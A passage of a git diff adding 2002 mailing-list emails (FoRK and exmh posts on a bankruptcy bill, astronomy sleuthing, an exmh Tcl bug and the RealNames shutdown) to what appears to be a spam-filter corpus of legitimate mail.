(8.11.6/8.11.6) with ESMTP id g6T594i11706 for ; + Mon, 29 Jul 2002 06:09:06 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id A763C2940C2; Sun, 28 Jul 2002 22:07:06 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: by xent.com (Postfix, from userid 1002) id 3025C2940BF; + Sun, 28 Jul 2002 22:06:11 -0700 (PDT) +To: FoRK@xent.com +Subject: [NYT] A Sudden Rush to Declare Bankruptcy is Expected +Message-Id: <20020729050611.3025C2940BF@xent.com> +From: adam@xent.com (Adam Rifkin) +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Sun, 28 Jul 2002 22:06:11 -0700 (PDT) + +Welcome to 2002. Companies that have taken on way too much debt can +screw their shareholders and even some of their debt-holders by +declaring bankruptcy, as Enron and Worldcom have done; meanwhile, +it becomes more difficult for individuals who have similarly taken on +too much debt, to dig their way out of their own holes... + +In my next life, I'm coming back as a corporation. They get all the +perks. :) + + +http://www.nytimes.com/2002/07/27/business/27BANK.html + +A Sudden Rush to Declare Bankruptcy Is Expected +By PHILIP SHENON + +WASHINGTON, July 26 The compromise bill, which was approved on Thursday +by Congressional negotiators and is expected to be adopted in both the +House and Senate by the end of next week, will make it much harder for +Americans to wipe out their debts when they declare bankruptcy. + +After the agreement, lawyers around the country said that they had begun +to receive calls and visits from debtors worried that they needed to +file bankruptcy before the old rules lapse next year. + +"I've had plenty of calls this morning," said Gary F. Weltmann, a +consumer bankruptcy lawyer in Washington. "And I'm telling people that +they need to take action now." + +Marty K. Courson, a bankruptcy lawyer in San Francisco, said he was +"getting ready for the onslaught." + +"I do think there will be a lot of people trying to use the old rules," +he said. + +The White House announced today that President Bush would sign the bill, +which was scheduled for a final vote in the House late tonight and in +the Senate next week. + +"The president looks forward to signing that," said Ari Fleischer, the +White House spokesman. "That bill enjoys widespread bipartisan support +for good reasons." + +The bill, which had been stalled until this week in a House-Senate +conference committee, passed both chambers by overwhelming margins more +than a year ago. The conference committee approved the bill Thursday +after agreeing on an abortion-rights provision that had been the final +obstacle to passage; the provision will bar anti-abortion protesters +from using the bankruptcy laws to avoid paying court judgments as a +result of clinic protests. + +The bill has long been the top legislative priority of the credit card +and banking industries, which say that many people now abuse the +bankruptcy system by writing off debts that they should be able to +pay. There were 1.45 million bankruptcy filings last year, a record, up +19 percent from 2000. + +"This legislation restores integrity and accountability to our +bankruptcy system by offering a fresh start to those who deserve one +while cracking down on those who don't," said Representative F. James +Sensenbrenner Jr., the Wisconsin Republican who is chairman of the House +Judiciary Committee. + +Critics, including top consumer-rights groups, described the bill as a +gift to lenders in exchange for a recent, drastic increase in campaign +contributions to members of Congress. They also said that it would do +harm to millions of Americans in financial distress as a result of lost +jobs, poor health or divorce. + +The bill's opponents have also questioned the timing of its passage, +which comes in the midst of a Congressional crackdown on abusive +accounting practices by many of the largest companies, including some of +the same financial services companies that have lobbied strenuously for +the bankruptcy bill. + +"The timing couldn't be worse," said Travis B. Plunkett, the legislative +director of the Consumer Federation of America. "It takes a lot of gall +for Congress to make a move like this when so many Americans are +concerned about corporate abuses, and when the economy is so shaky." + +Senator Paul Wellstone, a Minnesota Democrat who is a leading critic of +the bill, said today that "it boggles the mind that at a time when +Americans are more economically vulnerable, when they are most in need +of protection from financial disaster, we would eviscerate the major +financial safety net in our society for the middle class." + +Bankruptcy lawyers said that the bill would do harm to low- and +middle-income clients who would be saddled with debts that would take +them years to pay back. The new law will end the debt-free "fresh start" +that many of those debtors had been permitted under the current law. + +Recent studies have shown that the average American filing for +bankruptcy has a median household income well below the national average +of about $42,000 in 2000. A study cited in Congressional testimony last +year showed that the average person filing for bankruptcy had a car that +was six to nine years old, and that a quarter of those people had +medical debts exceeding $1,000. + +"I won't deny that there are people who abuse the bankruptcy system," +said Mr. Weltmann, the Washington lawyer whose firm calls itself the +Bankruptcy Center. "But there are honest, hard-working folks who are +really going to be affected by these changes." + +The bill would impose a means test on debtors, based on median incomes +in their home states, for bankruptcy filings under Charter 7 of the +federal bankruptcy law, which permits debtors to erase most of their +unsecured debts, like credit card bills. + +Debtors with an income above the state median would be barred from +filing under Chapter 7 and would instead be required to file instead +under Chapter 13, which requires that a portion of the unsecured debt be +repaid over time under the court-administered plan. + +Mr. Courson, the San Francisco lawyer, said that the changes would "hurt +a lot of consumer debtors who really, rightfully belong in Chapter 7." + +"My clients, for the most part, are honest and unfortunate people, and +they've just got heavy debt," he said. "You can always find some +circumstance where a person really went to town with a credit card and +got themselves in trouble. But I have people who are just plain old +poor. My experience is something wildly different than the story that +the credit card companies make to Congress." + + +---- +aDaM@XeNT.CoM -- .sig double play! + + +At its peak, there were more than 100 peer-to-peer start-ups. There now +remain, at most, a couple of dozen companies concentrated in a few +niches. The main activity of companies venturing into peer to peer is +file sharing. But the dozens of overoptimistic forays into alternative +economic systems, hyper-sophisticated technologies, and recording +industry collaboration turned out to be dead ends. Peer-to-peer +auctions, peer-to-peer supply chain management, and peer-to-peer e-mail +may have failed because they were ahead of their time. It's more likely +they failed because they were just ahead of themselves. Clearly, the +public's appetite for file sharing has increased, and the state of the +art has improved dramatically. But companies have still not yet found +satisfactory business models, thus leaving file sharing's last chapter +unwritten. + -- Gene Kan, http://story.news.yahoo.com/news?tmpl=story&u=/zd/20020710/tc_zd/942734 + + +XML proxies are add-ons to firewall and network environments that have +the ability to monitor XML traffic and apply business rules and IT +policies such as security, routing, performance, management, +transformation, and connection provisioning. Current firewalls aren't +able to peek in the envelope and decipher XML traffic, said report +author Ronald Schmelzer, ZapThink senior analyst. XML proxies are not +only able to understand network protocols, but also the XML-based +content traveling on top of those protocols, Schmelzer said. ZapThink +identifies a slew of new vendors with XML-ready security solutions, +including Flamenco Networks, Forum Systems, Reactivity, Vordel, and +Westbridge Technology, among others... ZapThink estimates that XML +represents just 2 percent of network traffic today, but that will +increase to almost 25 percent by 2006. + -- http://www.internetwk.com/story/INW20020726S0004 +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/00745.17068ba58d3abff5214b3cac4af05ef6 b/bayes/spamham/easy_ham_2/00745.17068ba58d3abff5214b3cac4af05ef6 new file mode 100644 index 0000000..93a3be6 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00745.17068ba58d3abff5214b3cac4af05ef6 @@ -0,0 +1,95 @@ +From exmh-users-admin@redhat.com Tue Jul 30 02:23:39 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id AE7BF440EE + for ; Mon, 29 Jul 2002 21:23:39 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 30 Jul 2002 02:23:39 +0100 (IST) +Received: from listman.spamassassin.taint.org (listman.spamassassin.taint.org [66.187.233.211]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6U1HJq29795 for + ; Tue, 30 Jul 2002 02:17:22 +0100 +Received: from listman.spamassassin.taint.org (localhost.localdomain [127.0.0.1]) by + listman.redhat.com (Postfix) with ESMTP id 04C643EB22; Mon, 29 Jul 2002 + 21:15:25 -0400 (EDT) +Delivered-To: exmh-users@listman.spamassassin.taint.org +Received: from int-mx1.corp.spamassassin.taint.org (int-mx1.corp.spamassassin.taint.org + [172.16.52.254]) by listman.redhat.com (Postfix) with ESMTP id 7142E3EA16 + for ; Mon, 29 Jul 2002 21:14:30 -0400 (EDT) +Received: (from mail@localhost) by int-mx1.corp.spamassassin.taint.org (8.11.6/8.11.6) + id g6U1EUh27998 for exmh-users@listman.redhat.com; Mon, 29 Jul 2002 + 21:14:30 -0400 +Received: from mx1.spamassassin.taint.org (mx1.spamassassin.taint.org [172.16.48.31]) by + int-mx1.corp.redhat.com (8.11.6/8.11.6) with SMTP id g6U1ETq27992 for + ; Mon, 29 Jul 2002 21:14:29 -0400 +Received: from orion.dwf.com (bgp01360964bgs.sandia01.nm.comcast.net + [68.35.68.128]) by mx1.redhat.com (8.11.6/8.11.6) with SMTP id + g6U12Il10341 for ; Mon, 29 Jul 2002 21:02:18 -0400 +Received: from orion.dwf.com (localhost.dwf.com [127.0.0.1]) by + orion.dwf.com (8.12.1/8.12.1) with ESMTP id g6U1ENO8002427 for + ; Mon, 29 Jul 2002 19:14:23 -0600 +Received: from orion.dwf.com (reg@localhost) by orion.dwf.com + (8.12.1/8.12.1/Submit) with ESMTP id g6U1ENSe002423 for + ; Mon, 29 Jul 2002 19:14:23 -0600 +Message-Id: <200207300114.g6U1ENSe002423@orion.dwf.com> +X-Mailer: exmh version 2.5 07/25/2002 with nmh-1.0.4 +To: exmh-users@spamassassin.taint.org +Subject: Re: Strange tcl/tk messages from EXMH 2.5... +In-Reply-To: Your message of "Thu, 25 Jul 2002 21:13:51 MDT." +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +From: Reg Clemens +X-Loop: exmh-users@spamassassin.taint.org +Sender: exmh-users-admin@spamassassin.taint.org +Errors-To: exmh-users-admin@spamassassin.taint.org +X-Beenthere: exmh-users@spamassassin.taint.org +X-Mailman-Version: 2.0.1 +Precedence: bulk +Reply-To: exmh-users@spamassassin.taint.org +List-Help: +List-Post: +List-Subscribe: , + +List-Id: Discussion list for EXMH users +List-Unsubscribe: , + +List-Archive: +Date: Mon, 29 Jul 2002 19:14:23 -0600 + +> +> I am getting some strange messages from EXMH 2.5. +> Since I just finished reinstalling it, I dont see how something could be +> missing. Here is the message: +> +> When the Compose or Reply windows first come up, I get a popup that says: +> Invalid I-spell style: 'extr switch with no body' changing to underline +> +> Any thoughts??? I this complaining about a EXMH routine being missing? +> Or What??? +> -- +> Reg.Clemens +> reg@dwf.com +> +> + +Let me answer my own question. +This seems to be a problem in tk8.4. +There is a switch statement at lines 691-697 in ispell.tcl inside a catch. +It ends with a line ending with a backslash, followed by a blank line. + +This seems to be enough to confuse this verson of tk. Removing the backslash +causes the error to go away, and the catch is not executed. +-- + Reg.Clemens + reg@dwf.com + + + + +_______________________________________________ +Exmh-users mailing list +Exmh-users@redhat.com +https://listman.redhat.com/mailman/listinfo/exmh-users + + diff --git a/bayes/spamham/easy_ham_2/00746.f4c184425d9abb4a1c916e664ffc2199 b/bayes/spamham/easy_ham_2/00746.f4c184425d9abb4a1c916e664ffc2199 new file mode 100644 index 0000000..d76a19a --- /dev/null +++ b/bayes/spamham/easy_ham_2/00746.f4c184425d9abb4a1c916e664ffc2199 @@ -0,0 +1,191 @@ +From fork-admin@xent.com Wed Jul 31 15:26:32 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 8C1414407C + for ; Wed, 31 Jul 2002 10:26:27 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 31 Jul 2002 15:26:27 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g6VEJu227985 for ; + Wed, 31 Jul 2002 15:19:59 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id 17FC8294136; Wed, 31 Jul 2002 07:17:08 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from Boron.MeepZor.Com (i.meepzor.com [204.146.167.214]) by + xent.com (Postfix) with ESMTP id F2575294134 for ; + Wed, 31 Jul 2002 07:16:52 -0700 (PDT) +Received: from Golux.Com (dmz-firewall [206.199.198.4]) by + Boron.MeepZor.Com (8.11.6/8.11.6) with ESMTP id g6VEHB907951; + Wed, 31 Jul 2002 10:17:11 -0400 +Message-Id: <3D47F408.804863CD@Golux.Com> +From: Rodent of Unusual Size +Organization: The Apache Software Foundation +X-Mailer: Mozilla 4.79 [en] (WinNT; U) +X-Accept-Language: en +MIME-Version: 1.0 +To: Flatware or Road Kill? +Subject: Bits for posterity: Astronomical sleuthing +Content-Type: text/plain; charset=us-ascii +Content-Transfer-Encoding: 7bit +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Wed, 31 Jul 2002 10:28:24 -0400 + +From: Donald Eastlake 3rd + + + +July 16, 2002 +By Yonder Blessed Moon, Sleuths Decode Life and Art +By LEON JAROFF + +On its way back from the Pacific island of Tinian, where it had +delivered the uranium core for the atomic bomb that destroyed Hiroshima, +the heavy cruiser Indianapolis was torpedoed by the Japanese submarine +I-58 and sent to the bottom of the Philippine Sea. It was one of the +worst disasters in American naval history; only 317 of its nearly 1,200 +crew members survived. + +Now experts at Southwest Texas State University have given that tragic +story a startling new twist. + +It was the moon, they say, that sank the Indianapolis. Or anyway, they +write in the July issue of Sky & Telescope, it was the moon that made +the sinking possible. + +Using astronomical computer programs, records and weather reports, as +well as the known coordinates and running speeds of the ship and the +submarine that sank it, the authors determined that when the I-58 +surfaced, it was perfectly aligned, west to east, with the cruiser. And, +they said, a three-quarter moon had just emerged from behind the clouds. + +Looking across the moonlit water, an I-58 crewman spotted the ship +silhouetted against the sky, 10.3 miles away. Half an hour later, six +torpedoes sent it to the bottom. + +"It was sheer chance," said Dr. Donald Olson, an astronomer. "Without +that alignment with the moon, the lookouts would not have spotted the +cruiser, especially at that distance." + +With Russell Doescher, a physics lecturer, Dr. Olson conducts a +university honors course called "Astronomy in Art, History and +Literature." In the last 15 years, he has pinpointed the time and place +of the rendering of art masterpieces, given new interpretations of +astronomical references in Chaucer and revealed the decisive role of the +moon in military and other encounters. + +Two years ago, for example, Dr. Olson turned his attention to the bright +star in van Gogh's "White House at Night." He and some students went to +Auvers, France, where van Gogh created his final works, and searched +until they found the house, largely unchanged. Sifting through letters +from van Gogh to his brother, Dr. Olson found that the painting was +completed in June 1890. + +Noting the orientation of the house in the painting, he determined where +van Gogh had set his easel and what section of the sky he had portrayed, +and from the lighting and shadows, he established that the house had +been illuminated by the setting sun. His computer analysis then +identified the "star." It was Venus, which in early evening in mid-June +had occupied that part of the sky. + +A final check of local weather records pinpointed the actual date van +Gogh had composed the painting, June 16, the only clear day in the +middle of the month that year. + +Dr. Olson has also turned his attention to Shakespeare, intrigued by the +opening of "Hamlet," when guards on the ramparts of Elsinor refer to the +"star that's westward from the pole had made his course to illume that +part of heaven where now it burns." From the guards' description, the +season and the time, other astronomers had suggested several bright +stars as possibilities, but Dr. Olson's calculations placed it in the +constellation Cassiopeia, which lacks any notably luminous stars. + +Pondering this problem on a trip with his wife, Dr. Olson was suddenly +inspired. He was aware that in 1572, a supernova, called Tycho's star, +for the Danish astronomer Tycho Brahe, suddenly flamed in Cassiopeia, +creating a worldwide sensation. Shakespeare, 8 at the time, would +certainly have recalled the event, and his memory was probably refreshed +by the description of the supernova in a history book that was the +source of some of his best-known plays. + +Dr. Olson has no doubt that the star that glared above Elsinor that +night was Tycho's, and he has an impressive record of other +astronomy-based sleuthing. + +Aware that the photographer Ansel Adams often neglected to date his +negatives, Dr. Olson set out to find when Adams had shot his classic +"Moon and Half Dome." At Yosemite, Dr. Olson and his students found +Adams's vantage point, studied the location, phase and features of the +moon in the photograph, plus the shadows on the Dome, snow on the peak +and other clues, and then announced that the picture had been taken at +4:14 p.m., Dec. 28, 1960. + +Then, Dr. Olson calculated that the setting would be virtually identical +at 4:05 p.m. on Dec. 13, 1994. On that day Adams's daughter-in-law +visited Yosemite and was photographed holding a print of "Moon and the +Half Dome" in the foreground of an eerily similar view of the actual +moon and the Half Dome. + +Analyzing Chaucer's works, Dr. Olson has confirmed that a particularly +rapid movement of the moon described in "The Merchant's Tale" occurred +in April 1389. And in "The Franklin's Tale," Chaucer's description of +the heavenly alignment that caused an exceptionally high tide on the +Brittany coast, convinced Dr. Olson that Chaucer was an advanced amateur +astronomer. + +Then there was Paul Revere. On his way to saddle up for his famous ride, +how did he manage to row undetected past a British warship on a moonlit +night in Boston Harbor? Dr. Olson's computer program revealed that, +while the moon was nearly full that night, it was unusually close to the +southern horizon and did not illuminate Revere's boat. + +Dr. Olson's proudest achievement was explaining "the tide that failed" +in the bloody Marine Corps landing at Tarawa atoll on Nov. 20, 1943. +Planners had expected a tide to provide a water depth of five feet over +a reef some 600 yards from shore, allowing larger landing craft, with +drafts of at least four feet, to pass. + +But that day and the next, in the words of some observers, "the ocean +just sat there," providing neither low tide nor high tide and leaving a +mean depth of three feet over the reef. The craft grounded on the edge +of the reef, and many marines were killed or injured as they waded 600 +yards to the shore, rifles over their heads, in the face of machine-gun +fire from the Japanese. + +Asked by a former marine about the tidal phenomenon, Dr. Olson spent six +months researching and mastering tidal theory and discovered that the +military planners were aware that they had to contend with a "neap" +tide. This phenomenon occurs twice a month when the moon is near its +first or last quarter, because the countering tug of the sun causes +water levels to deviate less. + +But that day, the moon was also almost at its farthest point from earth +and exerted even less pull, leaving the waters relatively undisturbed +and the marines in trouble. + +"I'm not in the least blaming the planners," Dr. Olson said, explaining +that the techniques used in accurately determining tides hadn't been +applied to the waters at Tarawa. + +Indeed, he modestly claims, by using his computer program, "We can +calculate the tides in any port in the world on any day in history." + +Yet Dr. Olson's greatest satisfaction seems to stem from his +interdisciplinary approach to astronomical sleuthing. "I have thought +about van Gogh, about Shakespeare and Chaucer," he says, "and that has +made my life as a scientist much richer." +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/00747.352d424267d36975a7b40b85ffd0885e b/bayes/spamham/easy_ham_2/00747.352d424267d36975a7b40b85ffd0885e new file mode 100644 index 0000000..9e85c98 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00747.352d424267d36975a7b40b85ffd0885e @@ -0,0 +1,83 @@ +From exmh-workers-admin@redhat.com Thu Aug 1 05:59:27 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id CF67E440A8 + for ; Thu, 1 Aug 2002 00:59:26 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Thu, 01 Aug 2002 05:59:26 +0100 (IST) +Received: from listman.spamassassin.taint.org (listman.spamassassin.taint.org [66.187.233.211]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g714q1230833 for + ; Thu, 1 Aug 2002 05:52:02 +0100 +Received: from listman.spamassassin.taint.org (localhost.localdomain [127.0.0.1]) by + listman.redhat.com (Postfix) with ESMTP id D913B3F7B4; Thu, 1 Aug 2002 + 00:51:02 -0400 (EDT) +Delivered-To: exmh-workers@listman.spamassassin.taint.org +Received: from int-mx1.corp.spamassassin.taint.org (int-mx1.corp.spamassassin.taint.org + [172.16.52.254]) by listman.redhat.com (Postfix) with ESMTP id D8CC03EB12 + for ; Thu, 1 Aug 2002 00:50:58 -0400 + (EDT) +Received: (from mail@localhost) by int-mx1.corp.spamassassin.taint.org (8.11.6/8.11.6) + id g714owE13542 for exmh-workers@listman.redhat.com; Thu, 1 Aug 2002 + 00:50:58 -0400 +Received: from mx1.spamassassin.taint.org (mx1.spamassassin.taint.org [172.16.48.31]) by + int-mx1.corp.redhat.com (8.11.6/8.11.6) with SMTP id g714owq13538 for + ; Thu, 1 Aug 2002 00:50:58 -0400 +Received: from blackcomb.panasas.com (gw2.panasas.com [65.194.124.178]) by + mx1.redhat.com (8.11.6/8.11.6) with SMTP id g714cXl07971 for + ; Thu, 1 Aug 2002 00:38:33 -0400 +Received: from medlicott.panasas.com (IDENT:welch@medlicott.panasas.com + [172.17.132.188]) by blackcomb.panasas.com (8.9.3/8.9.3) with ESMTP id + AAA07420 for ; Thu, 1 Aug 2002 00:50:57 -0400 +Message-Id: <200208010450.AAA07420@blackcomb.panasas.com> +X-Mailer: exmh version 2.5.9 07/25/2002 with nmh-1.0.4 +To: exmh-workers@spamassassin.taint.org +Subject: scan bug: no update after Pick's "New FTOC" +From: Brent Welch +X-Url: http://www.panasas.com/ +X-Face: "HxE|?EnC9fVMV8f70H83&{fgLE.|FZ^$>@Q(yb#N,Eh~N]e&]=> + r5~UnRml1:4EglY{9B+ :'wJq$@c_C!l8@<$t,{YUr4K,QJGHSvS~U]H`<+L*x?eGzSk>XH\W:AK\j?@?c1o +List-Post: +List-Subscribe: , + +List-Id: Discussion list for EXMH developers +List-Unsubscribe: , + +List-Archive: +Date: Wed, 31 Jul 2002 21:50:56 -0700 + +If you run Pick, and then use the "New FTOC" button to show only +those messages selected by pick, then the ftoc display was considered +"invalid" in the old code. This prevented the display from being cached, +and it meant that you could get back to the full folder display by +clicking on the folder lablel. That doesn't work anymore. You have +to resort to Rescan Folder. In fact, when you change folders you +continue to have the Pick results, not the new folder contents. +If you go to a any folder and do Rescan, then it heals itself. +-- +Brent Welch +Software Architect, Panasas Inc +Pioneering the World's Most Scalable and Agile Storage Network +www.panasas.com +welch@panasas.com + + + + +_______________________________________________ +Exmh-workers mailing list +Exmh-workers@redhat.com +https://listman.redhat.com/mailman/listinfo/exmh-workers + + diff --git a/bayes/spamham/easy_ham_2/00748.aba6a0bb7191962f47f3731e37bbb268 b/bayes/spamham/easy_ham_2/00748.aba6a0bb7191962f47f3731e37bbb268 new file mode 100644 index 0000000..7860004 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00748.aba6a0bb7191962f47f3731e37bbb268 @@ -0,0 +1,55 @@ +From fork-admin@xent.com Wed Jul 31 18:34:00 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 9798A44104 + for ; Wed, 31 Jul 2002 13:33:22 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 31 Jul 2002 18:33:22 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g6VHLU202844 for ; + Wed, 31 Jul 2002 18:21:32 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id 39D78294146; Wed, 31 Jul 2002 10:19:07 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from carbon.larknet.co.uk (churchill.larknet.co.uk + [212.1.130.26]) by xent.com (Postfix) with SMTP id 318F1294145 for + ; Wed, 31 Jul 2002 10:18:46 -0700 (PDT) +Received: (qmail 4438 invoked from network); 31 Jul 2002 17:16:07 -0000 +Received: from unknown (HELO tagish.com) (62.53.43.157) by + carbon.larknet.co.uk with SMTP; 31 Jul 2002 17:16:07 -0000 +Message-Id: <3D481C76.85396310@tagish.com> +From: Andy Armstrong +Organization: Tagish Ltd +X-Mailer: Mozilla 4.76 [en] (Windows NT 5.0; U) +X-Accept-Language: en +MIME-Version: 1.0 +To: FoRK +Subject: Bike Bits +Content-Type: text/plain; charset=us-ascii +Content-Transfer-Encoding: 7bit +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Wed, 31 Jul 2002 18:20:54 +0100 + +What a fantastically bizarre device: + http://www.conferencebike.com/ + +Anyone seen one in the flesh? + +-- +Andy Armstrong, http://www.tagish.co.uk/ +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/00749.3500b619df0119e64fc177b3b6eff006 b/bayes/spamham/easy_ham_2/00749.3500b619df0119e64fc177b3b6eff006 new file mode 100644 index 0000000..0e142c9 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00749.3500b619df0119e64fc177b3b6eff006 @@ -0,0 +1,104 @@ +From fork-admin@xent.com Wed Jul 31 23:33:19 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 9EB6A440E5 + for ; Wed, 31 Jul 2002 18:33:13 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 31 Jul 2002 23:33:13 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g6VMVT211811 for ; + Wed, 31 Jul 2002 23:31:32 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id 9B5D22940D8; Wed, 31 Jul 2002 15:29:07 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from tripper.magisoftware.com (tripper.magisoftware.com + [208.179.190.4]) by xent.com (Postfix) with ESMTP id D29C12940C5 for + ; Wed, 31 Jul 2002 15:28:36 -0700 (PDT) +Received: from endeavors.com ([208.179.190.254]) by + tripper.magisoftware.com (Netscape Messaging Server 4.1) with ESMTP id + H04X4900.N0I for ; Wed, 31 Jul 2002 15:28:57 -0700 +Message-Id: <3D48649A.20909@endeavors.com> +From: "Gregory Alan Bolcer" +Organization: Endeavors Technology, Inc. +User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:0.9.4.1) + Gecko/20020508 Netscape6/6.2.3 +X-Accept-Language: en,pdf +MIME-Version: 1.0 +To: FoRK +Subject: Re: RealNames ceases trading +References: +Content-Type: text/plain; charset=us-ascii; format=flowed +Content-Transfer-Encoding: 7bit +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Wed, 31 Jul 2002 15:28:42 -0700 + +This comment probably goes into better late than never but: +I wonder if their decision to open source their code had +anything to do with it. + +I've read through their asset sheet, but it doesn't say anything +about their real assets--their customers. Anyone know if they +have any left? + +Greg + +Jim Whitehead wrote: + +> Via Dave's Scripting News: +> +> http://www.theregister.co.uk/content/23/25245.html +> +> RealNames Corp., the VC-funded wheeze that promised to short-circuit the DNS +> system by doing an exclusive deal with Microsoft, has announced that it will +> cease trading as of today. +> +> RealNames' proposition was simple, and on the face of it, a no-brainer. Type +> a real word or phrase into your browser and it would guide you to your +> destination, bypassing all this cumbersome domain name business. A nice +> idea, but one based on the assumption that people are fairly stupid, and +> couldn't figure out that Comp USA's website might be say, CompUSA.com, and +> that even if you mistook whitehouse.gov for whitehouse.org, you'd be unhappy +> about the serendipitous diversion. +> +> *snip* +> +> Microsoft cancelled its contract with RealNames earlier this year, and as a +> consequence - the company has no "Plan B" - it's now toast. +> +> - Jim +> +> +> +> http://xent.com/mailman/listinfo/fork +> +> + + +-- +Gregory Alan Bolcer, CTO | work: +1.949.833.2800 | gbolcer at endeavors.com +Endeavors Technology, Inc. | cell: +1.714.928.5476 | http://endeavors.com + + + + + + + + + +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/00750.4e6d7b346042e39f416017bb3292bd08 b/bayes/spamham/easy_ham_2/00750.4e6d7b346042e39f416017bb3292bd08 new file mode 100644 index 0000000..eae04db --- /dev/null +++ b/bayes/spamham/easy_ham_2/00750.4e6d7b346042e39f416017bb3292bd08 @@ -0,0 +1,112 @@ +From fork-admin@xent.com Thu Aug 1 00:44:27 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 1B9D6440E5 + for ; Wed, 31 Jul 2002 19:44:22 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Thu, 01 Aug 2002 00:44:22 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g6VNaO213274 for ; + Thu, 1 Aug 2002 00:36:27 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id 17919294133; Wed, 31 Jul 2002 16:34:03 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from 10-0-0-223.boston.ximian.com (gateway.ximian.com + [141.154.95.125]) by xent.com (Postfix) with ESMTP id DCAC02940E2 for + ; Wed, 31 Jul 2002 16:32:59 -0700 (PDT) +Received: (from louie@localhost) by 10-0-0-223.boston.ximian.com + (8.11.6/8.11.6) id g6VNWCd03515 for FoRK@xent.com; Wed, 31 Jul 2002 + 19:32:12 -0400 +X-Authentication-Warning: 10-0-0-223.boston.ximian.com: louie set sender + to louie@ximian.com using -f +Subject: Re: RealNames ceases trading +From: Luis Villa +To: FoRK +In-Reply-To: <3D48649A.20909@endeavors.com> +References: + <3D48649A.20909@endeavors.com> +Content-Type: text/plain +Content-Transfer-Encoding: 7bit +Organization: +Message-Id: <1028157023.3371.1.camel@10-0-0-223.boston.ximian.com> +MIME-Version: 1.0 +X-Mailer: Ximian Evolution 1.1.0.99 (Preview Release) +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org 